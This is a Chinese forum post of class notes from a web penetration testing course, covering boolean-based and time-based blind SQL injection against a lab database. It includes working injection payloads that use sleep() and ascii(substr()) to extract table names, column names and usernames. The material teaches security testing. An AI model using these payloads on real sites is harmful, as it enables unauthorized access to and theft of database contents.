发帖
 找回密码
 立即注册
搜索
0 0

分享 渗透系统班第十六课 樊子健

技术分享 1110 0 2025-4-13 09:46:39
SQL 注入漏洞(四)

盲注


什么是盲注:有时⽬标存在注⼊,但在⻚⾯上没有任何回显,此时,我们需要利⽤⼀些⽅法进⾏判断或者尝试得到数据,这个过程称之为盲注



布尔盲注



布尔很明显True和false,它只会根据你的注⼊信息返回True和False,也就没有了之前的报错信息。



布尔盲注流程

判断注⼊点
判断闭合
判断⻓度
猜解库名、表名、列名、具体数据


时间盲注



界⾯返回值只有⼀种True,⽆论输⼊任何值,返回情况都会按照正常来处理。加⼊特定的时间函数,通过查web⻚⾯返回的时间差来判断注⼊的语句是否正确



延时盲注其实和布尔盲注其实没有什么太⼤的区别,只不过是⼀个依靠⻚⾯是否正常判断,⼀个是否延时判断,在操作上其实也差不多,只不过延时多⼀个if()




猜解数据库有⼏张表


if(1,2,3) 1:条件 2:满⾜条件⼲嘛 3:不满⾜⼲嘛
count() 返回指定内容的个数
and if((select count(table_name) from information_schema.tables where
table_schema=database())=5,sleep(5),3) --+
条件:(select count(table_name) from information_schema.tables where
table_schema=database())=5
满⾜条件做的事:sleep(5)
不满⾜:3




4-确认表名⻓度(时间盲注不需要知道数据库名)


格式:and if(length(查询语句)=表名⻓度,sleep(5),3) --+eee
第⼀个表⻓度:limit 0,1
and if(length((select table_name from information_schema.tables where
table_schema=database() limit 0,1))=6,sleep(5),3)--+eee
第⼆个表⻓度:limit 1,1
and if(length((select table_name from information_schema.tables where
table_schema=database() limit 1,1))=6,sleep(5),3)--+eee




5-确认表名
格式:and if(ascii(substr((查询语句 limit 1,1),1,1))=编码值,sleep(5),22)
and if (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=101,sleep(5),3) --+eee




6-确认列名


and if (ascii(substr((select column_name from information_schema.columns where
table_name='users' limit 0,1),1,1))=105,sleep(5),3) --+eee




7-确认数据内容


?id=1' and if (ascii(substr((select username from users limit 0,1),1,1))>1,sleep(5),3)--+




课堂 sql 语句


select LENGTH(database())
#substr 截取字符串
#ascii acsii转码
#length 识别⻓度
select ascii(substr('abc',1,1))
select ascii(substr(database(),1,1))
select count(table_name) from information_schema.tables where table_schema='security'
select table_name from information_schema.tables where table_schema='security' limit 0,1
select 1,2,3 and sleep(2)
SELECT * FROM users WHERE id="$id" LIMIT 0,1;

1" and sleep(5)--
SELECT * FROM users WHERE id="1 and sleep(5)--+" LIMIT 0,1;



WEB渗透测试工程师系统班250303期
第15节课作业

1. 实际操作课堂讲解的yakit sql注入靶场,截图
2. 布尔盲注的原理是什么
根据注信息返回的界面是否正常判断注入是否成功
3. 时间盲注的原理是什么
通过SLEEP函数是否被执行判断注入



──── 0人觉得很赞 ────

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回